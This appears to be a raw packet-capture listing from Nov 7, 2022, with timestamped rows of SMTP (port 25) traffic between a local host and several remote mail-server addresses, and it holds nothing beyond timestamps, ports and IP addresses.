Nov 7, 2022 22:25:09.224457979 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.224642038 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.224725962 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.224772930 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.224816084 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.224852085 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.224890947 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.226964951 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.227236032 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.227507114 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.227555037 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228104115 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228157043 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228198051 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228241920 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228667021 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228764057 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228854895 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228897095 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228940964 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.228986979 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229028940 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229068041 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229105949 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229147911 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229187965 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229226112 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229264021 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229418993 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229459047 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229500055 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229537964 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229574919 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229614973 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229652882 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229692936 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229732990 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229777098 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229820967 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229860067 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229898930 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229938030 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.229978085 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230015993 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230052948 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230091095 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230134010 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230174065 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230212927 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230256081 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230294943 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230331898 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230371952 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230412006 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230453014 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230499983 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230550051 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230593920 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230633020 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230676889 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230720997 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230758905 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230797052 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230834961 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230875015 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230932951 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.230973005 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231013060 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231066942 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231110096 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231153011 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231197119 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231240034 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231277943 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231316090 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231353045 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231390953 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231430054 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231470108 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231506109 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231544018 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231580973 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231620073 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231658936 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231697083 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231734037 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231770992 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231813908 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231853962 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231892109 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231929064 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.231966972 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.232008934 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.232049942 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.232091904 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.232136011 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.232176065 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.232214928 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.232255936 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.232495070 CET	49869	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.287874937 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.290038109 CET	25	49869	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.305285931 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.305490017 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.344461918 CET	49869	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.348273039 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:09.348315001 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:09.360851049 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.361237049 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.378149986 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.416904926 CET	49871	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:09.433636904 CET	49869	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.437194109 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.437313080 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.467092037 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:09.472023964 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:09.485455036 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.493832111 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.493935108 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.500963926 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:09.524683952 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:09.540237904 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.540277958 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.540301085 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.540323019 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.540323973 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.540349007 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.540364981 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.540376902 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.540396929 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.540402889 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.540416002 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.540429115 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.540432930 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.540460110 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.540460110 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.540488958 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.540508032 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.549416065 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.550317049 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594592094 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594647884 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594666004 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594671011 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594685078 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594710112 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594727993 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594734907 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594747066 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594758987 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594763041 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594777107 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594785929 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594814062 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594814062 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594836950 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594839096 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594865084 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594866991 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594902039 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594912052 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594919920 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.594943047 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594964981 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594990015 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.594995022 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.595010042 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.595011950 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.595035076 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.595043898 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.595057964 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.595065117 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.595091105 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.595108986 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.604424953 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.604499102 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.604516983 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.604571104 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649023056 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649061918 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649087906 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649111032 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649132967 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649137020 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649161100 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649198055 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649198055 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649230957 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649235010 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649255991 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649277925 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649279118 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649302959 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649307966 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649327040 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649410963 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649414062 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649410963 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649410963 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649442911 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649456978 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649528027 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649563074 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649589062 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649611950 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649629116 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649638891 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649677038 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649683952 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649712086 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649720907 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649739981 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649740934 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649791956 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649794102 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649794102 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649821997 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649844885 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649848938 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649868965 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649869919 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649893999 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649899006 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649918079 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649924040 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649941921 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649945974 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649966955 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.649972916 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.649991989 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.650016069 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.650023937 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.650023937 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.650039911 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.650053024 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.650063038 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.650074005 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.650089025 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.650114059 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.650115013 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.650161982 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.650186062 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.650257111 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.650314093 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.658586979 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.658660889 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.658822060 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.659074068 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.659126997 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.659256935 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.703811884 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.703857899 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.703895092 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.703927040 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.703960896 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.703991890 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704087019 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704216003 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704245090 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704271078 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704324961 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704358101 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704370022 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704386950 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704416037 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704448938 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704477072 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704566956 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704600096 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704624891 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704653025 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704668999 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704706907 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704731941 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704803944 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704832077 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.704905987 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.704977989 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705004930 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705034018 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705063105 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705073118 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705110073 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705110073 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705382109 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705411911 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705440044 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705466986 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705499887 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705507040 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705507040 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705527067 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705554962 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705554962 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705554962 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705585003 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705595016 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705621958 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705646038 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705764055 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705797911 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705828905 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.705883026 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.705883026 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.706021070 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.706159115 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.706187010 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.706190109 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.706232071 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.706232071 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.706609964 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.706639051 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.706665039 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.706690073 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.706729889 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.707163095 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707194090 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707220078 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707246065 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707273006 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707284927 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.707302094 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707329988 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707329035 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.707329988 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.707374096 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.707406044 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.707626104 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707657099 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707683086 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707709074 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707737923 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707741022 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.707762003 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707775116 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.707781076 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707798958 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707802057 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.707870960 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.707911968 CET	49870	25	192.168.2.5	142.250.150.26
